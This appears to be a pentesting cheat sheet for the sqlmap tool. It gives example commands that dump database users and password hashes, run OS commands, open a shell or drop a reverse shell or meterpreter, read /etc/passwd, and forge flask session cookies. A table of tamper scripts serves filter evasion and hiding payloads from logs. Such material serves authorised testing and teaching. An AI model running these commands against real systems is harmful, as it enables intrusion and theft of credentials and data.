**Basic arguments for SQLmap**

**Generic**

Copy

-u "<URL>"

-p "<PARAM TO TEST>"

--user-agent=SQLMAP

--random-agent

--threads=10

--risk=3 #MAX

--level=5 #MAX

--dbms="<KNOWN DB TECH>"

--os="<OS>"

--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")

--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers

--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)

--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)

--proxy=http://127.0.0.1:8080

--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char

**Retrieve Information**

**Internal**

Copy

--current-user #Get current user

--is-dba #Check if current user is Admin

--hostname #Get hostname

--users #Get usernames od DB

--passwords #Get passwords of users in DB

--privileges #Get privileges

**DB data**

Copy

--all #Retrieve everything

--dump #Dump DBMS database table entries

--dbs #Names of the available databases

--tables #Tables of a database ( -D <DB NAME> )

--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )

-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

**Injection place**

**From Burp/ZAP capture**

Capture the request and create a req.txt file

Copy

sqlmap -r req.txt --current-user

**GET Request Injection**

Copy

sqlmap -u "http://example.com/?id=1" -p id

sqlmap -u "http://example.com/?id=\*" -p id

**POST Request Injection**

Copy

sqlmap -u "http://example.com" --data "username=\*&password=\*"

**Injections in Headers and other HTTP Methods**

Copy

#Inside cookie

sqlmap -u "http://example.com" --cookie "mycookies=\*"

#Inside some header

sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1\*"

sqlmap -u "http://example.com" --headers="referer:\*"

#PUT Method

sqlmap --method=PUT -u "http://example.com" --headers="referer:\*"

#The injection is located at the '\*'

**Indicate string when injection is successful**

Copy

--string="string\_showed\_when\_TRUE"

**Eval**

**Sqlmap** allows the use of -e or --eval to process each payload before sending it with some python oneliner. This makes very easy and fast to process in custom ways the payload before sending it. In the following example the **flask cookie session** **is signed by flask with the known secret before sending it**:

Copy

sqlmap http://1.1.1.1/sqli --eval "from flask\_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=\*" --dump

**Shell**

Copy

#Exec command

python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell

python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter

python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

**Read File**

Copy

--file-read=/etc/passwd

**Crawl a website with SQLmap and auto-exploit**

Copy

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers

--crawl = how deep you want to crawl a site

--forms = Parse and test forms

**Second Order Injection**

Copy

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3

sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

[**Read this post**](https://book.hacktricks.xyz/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap) **about how to perform simple and complex second order injections with sqlmap.**

**Customizing Injection**

**Set a suffix**

Copy

python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "

**Prefix**

Copy

python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "

**Help finding boolean injection**

Copy

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)

sqlmap -r r.txt -p id --not-string ridiculous --batch

**Tamper**

Remember that **you can create your own tamper in python** and it's very simple. You can find a tamper example in the [Second Order Injection page here](https://book.hacktricks.xyz/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap).

Copy

--tamper=name\_of\_the\_tamper

#In kali you can see all the tampers in /usr/share/sqlmap/tamper

| **Tamper** | **Description** |
| --- | --- |
| apostrophemask.py | Replaces apostrophe character with its UTF-8 full width counterpart |
| apostrophenullencode.py | Replaces apostrophe character with its illegal double unicode counterpart |
| appendnullbyte.py | Appends encoded NULL byte character at the end of payload |
| base64encode.py | Base64 all characters in a given payload |
| between.py | Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #' |
| bluecoat.py | Replaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator |
| chardoubleencode.py | Double url-encodes all characters in a given payload (not processing already encoded) |
| commalesslimit.py | Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M' |
| commalessmid.py | Replaces instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)' |
| concat2concatws.py | Replaces instances like 'CONCAT(A, B)' with 'CONCAT\_WS(MID(CHAR(0), 0, 0), A, B)' |
| charencode.py | Url-encodes all characters in a given payload (not processing already encoded) |
| charunicodeencode.py | Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded). "%u0022" |
| charunicodeescape.py | Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded). "\u0022" |
| equaltolike.py | Replaces all occurances of operator equal ('=') with operator 'LIKE' |
| escapequotes.py | Slash escape quotes (' and ") |
| greatest.py | Replaces greater than operator ('>') with 'GREATEST' counterpart |
| halfversionedmorekeywords.py | Adds versioned MySQL comment before each keyword |
| ifnull2ifisnull.py | Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)' |
| modsecurityversioned.py | Embraces complete query with versioned comment |
| modsecurityzeroversioned.py | Embraces complete query with zero-versioned comment |
| multiplespaces.py | Adds multiple spaces around SQL keywords |
| nonrecursivereplacement.py | Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace("SELECT", "")) filters |
| percentage.py | Adds a percentage sign ('%') infront of each character |
| overlongutf8.py | Converts all characters in a given payload (not processing already encoded) |
| randomcase.py | Replaces each keyword character with random case value |
| randomcomments.py | Add random comments to SQL keywords |
| securesphere.py | Appends special crafted string |
| sp\_password.py | Appends 'sp\_password' to the end of the payload for automatic obfuscation from DBMS logs |
| space2comment.py | Replaces space character (' ') with comments |
| space2dash.py | Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n') |
| space2hash.py | Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') |
| space2morehash.py | Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') |
| space2mssqlblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters |
| space2mssqlhash.py | Replaces space character (' ') with a pound character ('#') followed by a new line ('\n') |
| space2mysqlblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters |
| space2mysqldash.py | Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n') |
| space2plus.py | Replaces space character (' ') with plus ('+') |
| space2randomblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters |
| symboliclogical.py | Replaces AND and OR logical operators with their symbolic counterparts (&& and |
| unionalltounion.py | Replaces UNION ALL SELECT with UNION SELECT |
| unmagicquotes.py | Replaces quote character (') with a multi-byte combo %bf%27 together with generic comment at the end (to make it work) |
| uppercase.py | Replaces each keyword character with upper case value 'INSERT' |
| varnish.py | Append a HTTP header 'X-originating-IP' |
| versionedkeywords.py | Encloses each non-function keyword with versioned MySQL comment |
| versionedmorekeywords.py | Encloses each keyword with versioned MySQL comment |
| xforwardedfor.py | Append a fake HTTP header 'X-Forwarded-For' |